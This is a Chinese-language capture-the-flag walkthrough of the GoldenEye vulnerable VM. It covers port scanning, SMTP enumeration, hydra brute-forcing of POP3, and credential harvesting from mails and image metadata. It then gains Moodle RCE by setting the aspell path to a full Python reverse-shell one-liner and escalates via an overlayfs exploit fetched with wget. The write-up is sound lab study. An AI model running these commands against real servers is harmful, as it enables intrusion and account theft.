CTF LIKE就很扯,少打,大伙可以当成笑话看看
——鲁迅
0x01 信息搜集
# 扫描靶机地址
nmap -sn -T5 192.168.206.1/24
# 扫描开启服务和端口
nmap -sV -A -p- -T5 192.168.206.150
Host is up (0.00049s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
|_ssl-date: TLS randomness does not represent time
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: GoldenEye Primary Admin Server
55006/tcp open ssl/unknown
|_ssl-date: TLS randomness does not represent time
55007/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: CAPA RESP-CODES TOP AUTH-RESP-CODE UIDL STLS USER SASL(PLAIN) PIPELINING
|_ssl-date: TLS randomness does not represent time
MAC Address: 00:0C:29:3F:27:D6 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hopTRACEROUTE
HOP RTT ADDRESS
1 0.49 ms bogon (192.168.206.150)
- 能够看到开启4个端口,80(http)、25(smtp)、55007(pop3)、55006(ssl)
- 浏览器访问一下80端口
按照提示,让我们访问一下/sev-home/
去登录
bp抓包分析后,发现传出参数是username:password
的base64编码,可以爆破一波
- smtp 25端口
直接尝试nc连接,居然可以连接上
看一下支持的命令
SMTP枚举三把梭:
- msf
- nmap
- smtp-user-enum
果然,msf还是最强那把梭,另外两把都没有扫出来东西
手工测试出来root也在范围之内,上面没有显示
下一步怎么走?
- 枚举用户
- 结合之前的登录信息,再用来爆破Authentication密码
- 这里选用的密码表是john的
自己写的单线程py居然跑瘫了机子,SMTP无果
- POP3 55007端口
依旧采用nc连接,端口55007
使用CAPA
命令查看server支持的操作,尝试手工测试,msf同步进行登录测试(太慢)
没有得到可用用户名和密码,登录失败,我这里猜测在pop server的某个账户中会隐藏重要信息
0x02 漏洞挖掘与利用
CTF LIKE就是这么trick,不真实。翻看js源码,有一句叮嘱,出现用户名和密码,unicode转换到ascii,Boris首字母改小写
账密:boris:InvincibleHack3r
顺利进入
GoldenEye的第二句话有重要信息
Please email a qualified GNO supervisor to receive the online GoldenEye Operators Training to become an Administrator of the GoldenEye system
我们需要发送一封email给主管来称为GoldenEye的管理员,那么下一步需要考虑如何利用SMTP和POP3,先尝试了用这个账密登录POP3,失败!
重新理一下资料
发送:SMTP 25 得到账户名单
接收:POP3 55007 爆破失败,以下账密登录失败
账密 boris:InvincibleHack3r
# 提示发送邮件
发送邮件动作可以完成,但是接收没有下文,POP3 msf爆破过慢,采用我们拿到的SMTP的用户名和boris
用hydra或者medusa进行爆破
用户名文件user.txt
wordlist采用比较短的fasktrack.txt
hydra使用命令
hydra -L user.txt -P /usr/share/wordlists/fasttrack.txt -t 20 192.168.206.150 -s 55007 -I pop3
# 20线程,55007端口,pop3服务
不到5分钟,爆破成功!
netcat登录pop3,输入账密boris : secret1!
使用list
命令,发现存在3封邮件,使用retr 数字
依次阅读
第三封邮件有点东西
Return-Path: <[email protected]>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from janus (localhost [127.0.0.1])
by ubuntu (Postfix) with ESMTP id 4B9F4454B1
for <boris>; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
Message-Id: <20180425025235.4B9F4454B1@ubuntu>
Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
From: [email protected]
Boris,
Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!
Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....
PS - Keep security tight or we will be compromised.
Xenia是个可疑的名称
Attached
就是最终密码?还是附件的意思?
如果是附件的话,我们用python获取一波附件(这里也可以直接用邮件软件查看,配置好pop3和smtp服务)
啥也没找到,思路陷入僵局,求助walkthrough
- 看到信件中的用户名,可以继续想到爆破,我们对root和natalya进行进一步爆破
拿到natalya的账密,root爆破无果
natalya : bird
第二封信件中拿到xenia账密
xenia : RCP90rulez!
同时得到新的路径信息,severnaya-station.com/gnocertdir
,不过需要修改dns文件,对应上服务器的ip
windows改C:\Windows\System32\drivers\etc\hosts
,Linux改/etc/hosts
成功进入
输入账密,登录xenia
看下web指纹
Moodle系统,YUI库,PHP,Apache,Ubuntu
Google一下Moodle,存在的漏洞有XSS、RCE、SSRF、SQL注入等等,之后进一步翻翻searchexploit
- 第一次接触moodle系统,里面的信息量很大,先到处翻一翻
发现Message处存在交流信息
用户名是doak,继续尝试爆破
成功爆破,获得新账密
doak : goat
二话不说,登入pop3 server
moodle新账密
dr_doak :4England!
登入moodle,发现一个文件,遂下载下来
又是一波提示
上文告诉我们doak博士抓到了admin的登录明文账密,但是他不能直接告诉我们,现在我们需要下载一张名叫for-007
的图片,既然是CTF-LIKE,那么就需要开启应对misc套路的狗招了
图片分析,先用notepad打开看看,发现没有啥信息;然后属性打开,发现标题存在base64编码
解码,得到xWinter1995x!
,推测是密码
kali中使用exif和binwalk查看(没有可提取物)
现在的可疑用户名:for James
,ForJames
,forjames
,James
,james
,admin
, adm1n
,大小写可能有差异,于是python构造好用户名fuzz,bp爆破
账密为admin : xWinter1995x!
,登录之
后面经过一番查找和exp的直接利用,发现都存在问题,再次学习前辈walkthrough
- moodle学习管理系统存在远程代码执行漏洞,此次可以通过
Site administration -> Server -> System paths
中修改Path to aspell
为python反弹shell代码,当在富文本编辑器中点击拼写检查时就会触发这段代码
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.206.142",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
漏洞具体解释如下
- 可是当我操作的时候,发现点击拼写检测并不能触发
- 这继续陷入思考,当点击时代码未被触发,先想到是某些配置没有开启,但是自己对系统也不熟,必定要google一番
想到的搜索关键词
moodle spell checker can't work
,how to make spell checker work in moodle
,how to use moodle spell checker
,how to pentest with moodle spell checker
,exploit moodle with spell checker
逐一检查之后并没有结果,于是仔细回看反弹shell代码处是否写错或者漏掉重要信息
- 代码没有写错,但是发现之前漏掉了重要信息aspell,我们安装了吗?
结合之前做DC-1的经验,于是去侧边栏的Site administration -> Server -> Plugin
查看下是否安装该插件,发现在Overview中没有aspell插件信息,可是也没有提供直接安装的接口或者点击按钮
继续google搜集信息
看一下如何在HTML编辑器中安装spell checker,得知aspell是一款GNU的拼写检测器,可是安装需要在服务器内部用apt-get
进行,所以可以肯定这条路到底了,往回返看看别的路!
下面这条信息点醒了我,我们并不需要真正去安装spell checker,因为刚才的编辑器是富文本类型,可能很多插件已经集成到上面了。这么考虑,下一步就要将moodle中TinyMCE editor等富文本编辑器信息搜集。
把刚才google出来的所有编辑器信息先看一遍,发现了有趣的东西,可谓字字珠玑
moodle已经不支持Google Spell,可是moodle默认又是Google Spell,所以我们的aspell点击不会成功。这里又说明了,只要能够看见aspell的system path,就说明aspell已经安装。下面就只需要按照提示完成spell engine的修改,路径是Administration > Site administration > Plugins > Text editors > TinyMCE HTML editor > Check spelling
- 把默认的spell engine从Google Spell替换为PSpellShell
保存后,kali上设置好nc监听,找个富文本编辑器点击检查,getshell
0x03 提权&get flag
继续搜集信息,查看当前用户权限,系统版本
发现能用python,升完交互shell后,kali上searchexploit找提权exp
就采用第一个overlaf,本地gcc编译一波,本地python开启http server下面就想办法将其传到靶机上
继续在靶机上测试发现能使用wget,遂下载overlaf二进制文件,为其修改权限后执行,成功提权
这里有点互相trick的感觉,我把靶机的gcc缺失问题给屏蔽掉了,一般来说需要从靶机wget到exp再本机编译,然后才会遇到没有gcc的问题,再改掉exp内部的编译命令,将gcc改成cc或者clang
下到/root/
看flag
拿到flag,访问/006-final/xvf7-flag/
0x04 总结
- 真实场景下也会有程序员把重要信息遗留在js等静态文件中,思路要放开
- 反反复复信息搜集,爆破也是必要的,别操之过急
- exp需要时可做适当修改
0x0N 参考资料
SMTP
Penetration Testing an SMTP Server